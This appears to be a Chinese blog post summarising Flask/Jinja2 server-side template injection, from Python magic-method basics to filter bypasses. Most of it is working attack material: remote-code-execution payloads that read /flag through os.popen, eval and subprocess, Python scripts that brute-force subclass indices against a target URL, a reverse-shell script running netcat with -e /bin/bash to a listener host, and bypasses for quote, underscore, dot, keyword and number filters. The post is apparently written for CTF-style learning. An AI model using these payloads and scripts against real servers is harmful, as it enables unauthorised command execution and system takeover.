SSTI漏洞利用及绕过总结(绕过姿势多样)
一、SSTI简介
1. SSTI漏洞
SSTI,即服务器端模板注入漏洞;
在渲染模板时,代码不严谨并且没有对用户的输入做严格过滤,将导致SSTI漏洞,造成任意文件读取和RCE命令执行;
2. SSTI类型判断
绿线表示执行成功,红线表示执行失败,根据图中测试语句和返回结果可判断SSTI类型;
3. flask
学习SSTI服务端模板注入漏洞首先需要有一定的flask框架基础;
flask是基于python开发的一种web服务器,那么也就意味着若用户可以与flask交互,就可以执行python代码,如eval、system等函数;
在flask中,render_template_string()函数可将字符串进行渲染转移然后输出,不会渲染执行;format()函数格式化字符串,会导致字符串被渲染执行;
4.SSTI漏洞利用基本流程
获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令
二、继承关系和魔术方法
1.父类和子类
当前子类无可利用的方法时,可由当前子类从其object基类找到其他子类的可利用方法;
python flask脚本不能直接执行python执行;
object是父子关系的顶端,所以的数据类型最终的父类都是object;
2. 魔术方法
__class__ 查找当前对象的当前类
__base__ 查找当前类的父类
__mro__ 查找当前类的所有继承类
__subclasses 查找父类下的所以子类
__init__ 查看类是否重载,出现wrapper表示没有重载
__globals__ 以字典的形式返回当前对象的全部全局变量
__builtins__ 提供对python的所以内置标识符的直接访问
3.案例演示
# 继承关系与魔术方法的简单演示
class A:
pass
class B(A):
pass
class C(B):
pass
class D(B):
pass
h = C()
# h的当前类,为C类
print(h.__class__)
# C类的父类,为B类
print(h.__class__.__base__)
# B类的父类,为A类
print(h.__class__.__base__.__base__)
# A类的父类,为对象
print(h.__class__.__base__.__base__.__base__)
# h的当前类的所有父类关系,等效于上面的输出
print(h.__class__.__mro__)
# B类的子类,为C类和D类
print(h.__class__.__base__.__subclasses__())
# 调用B类的C子类
print(h.__class__.__base__.__subclasses__()[0])
# 调用B类的D子类
print(h.__class__.__base__.__subclasses__()[1])
# 输出
<class '__main__.C'>
<class '__main__.B'>
<class '__main__.A'>
<class 'object'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
<class '__main__.C'>
<class '__main__.D'>
三、常用注入模块
1. 文件读取
调用常用注入模块前需要知道注入模块在父类的子类中的序号,为避免手动查找序号可以使用Python脚本:
# 查找常用注入模块的序号
import requests
# 请求的url需自定义
url = 'http://192.168.73.12:1080/flab/lev/1'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 引号中为需查找的模块名,需自定义
if '_frozen_importlib_external.FileLoader' in res.text:
print(i)
except:
pass
# 假设
{{ ''.__class__.__base__.__subclasses__()[10] }} == <class '_frozen_importlib_external.FiieLoader'>
# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10]['get_data'](0,'/flag') }}
2. 内建函数eval命令执行
使用内建函数eval前需知道哪个模块存在可利用的内建函数eval,为避免手动查询可以使用以下Python脚本:
# 查找可利用内建函数eval的模块并返回其模块序号
import requests
# 请求的url需自定义
url = 'http://192.168.73.12:1080/fab/vel/1'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["__builtins__"] }}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 查找可利用内建函数eval的模块返回对应模块序号
if 'eval' in res.text:
print(i)
except:
pass
利用内建函数eval进行命令执行 :
# 假设
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['builtins'] }}
存在内建函数eval
# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()') }}
3. os模块命令执行
①在其他函数中直接调用os模块进行命令执行:
# 通过config调用os模块,payload:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
# 通过url_for调用os模块,payload:
{{ url_for.__globals__.os.popen('cat /flag').read() }}
②在已加载os模块的子类中直接调用os模块进行命令执行:
# 假设
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__ }}存在os模块
# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__['os'].popen('cat /flag').read() }}
查找已加载os模块的子类序号,Python脚本:
import requests
# 请求的url需自定义
url = 'http://192.168.73.12:1080/flb/vel/1'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__ }}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 查找已加载os模块的子类
if 'os.py' in res.text:
print(i)
except:
pass
4. importlib类命令执行
# 假设
{{ ''.__class__.__base__.__subclasses__()[15] }} == <class '_frozen_importlib_Builtinlmporter'>
# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[15]['load_module']('os')['popen']('cat /flag').read() }}
5. subprocess.Popen类命令执行
# 假设
{{ ''.__class__.__base__.__subclasses__()[20] }} == <class '_frozen_importlib_subprocess.Popen'>
# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[20]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}
四、SSTI绕过总结
1. 双大括号过滤
{{和}}被过滤使用{%和%}绕过,
# 假设序号为60子类能调用popen函数,则payload:
{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}
在双大括号被过滤的情况下,查找加载了popen函数的子类,Python脚本:
# 查找能利用popen函数的子类序号
import requests
# 请求的url需自定义
url = 'http://192.168.73.112:1080/fklab/le/2'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 查找存在自定义返回值的子类序号
if 'haha' in res.text:
print(i)
except:
pass
2. 无回显SSTI
反弹shell,查找出能调用popen函数的子类并执行代码连接我们的主机,运行脚本同时开启监听,实现反弹shell,Python脚本:
# 无回显,反弹shell脚本
import requests
# 请求的url需自定义
url = 'http://192.168.71.1:1080/lb/el/3'
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.13.122 7788 -e /bin/bash").read() }}'}
try: # ip地址为本地ip,端口自定义
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
except:
pass
还可以使用带外注入、盲注(需要有一定的回显)绕过无回显SSTI,这里不再演示;
3. 中括号过滤
魔术方法__getitem__可代替中括号,绕过中括号过滤,payload:
# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}
4. 单双引号过滤
当单双引号被过滤后,可以使用get或者post传参输入需要带引号的内容,payload:
# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag
# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag
# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag
5. 下划线过滤
下划线被过滤后,可以使用过滤器输入下划线,如使用函数attr(),payload:
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码
也可以将下划线进行16位编码的方式绕过,payload:
# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}
6. 点过滤
使用中括号绕过点过滤,payload:
# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}
也可以使用过滤器arrt()函数绕过,payload:
# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}
7. 关键字过滤
+号拼接绕过,payload:
# 假设关键字class被过滤
{{ ().__class__ }}
# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}
使用Jinjia2的~号拼接,payload:
# 假设关键字class、base被过滤
{{ ().__class__.__base__ }}
# 使用~号绕过,payload:
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{ ()[a~b][c~d] }}
使用过滤器绕过,如使用可反转字符串的过滤器reverse(),payload:
# 假设关键字class、base被过滤
{{ ().__class__}}
# 使用过滤器reverse绕过,payload:
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
使用join过滤器绕过,同时可以绕过引号过滤,payload:
# 假设关键字class、base被过滤
{{ ().__class__}}
# 使用过滤器join绕过,payload:
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
还可以使用编码方式绕过,不再演示;
8. 数字过滤
当数字被过滤时,可以使用过滤器length计算字符串长度来返回数字,payload:
# 假设关键字class、base被过滤
().__class__.__base__.__subclasses__()[6]
# 使用过滤器length绕过,payload:
{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}
# 当数字比较大时,可以使用数学运算,如:
{% set a='aaaaaa'|length %}中 a=6
{% set a='aa'|length*'aaa'|length %}中 a=6
{% set a='aaaaa'|length*'aaaaaa'|length+'a'|length %}中 a=31
9. config过滤
有时flag放在config文件中或需要调用config文件的模块时,需要config但是可能被过滤,绕过config过滤,payload:
# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}
11. 获取特殊符号(过滤)
在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线
类似的获取特殊符号的方法还有很多
12. 过滤器join
过滤器join一般与dict()一起使用,可将字典的键名拼接得到新字符串:
# 假设关键字class被过滤
{{ ().__class__}}
# 使用过滤器join和dict()绕过,payload:
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
13. 混合过滤
即以上过滤的混合绕过;
14.斜杠和反斜杠过滤
此种过滤会使得无法跳转到根目录,采取下列方法:
评论0
暂时没有评论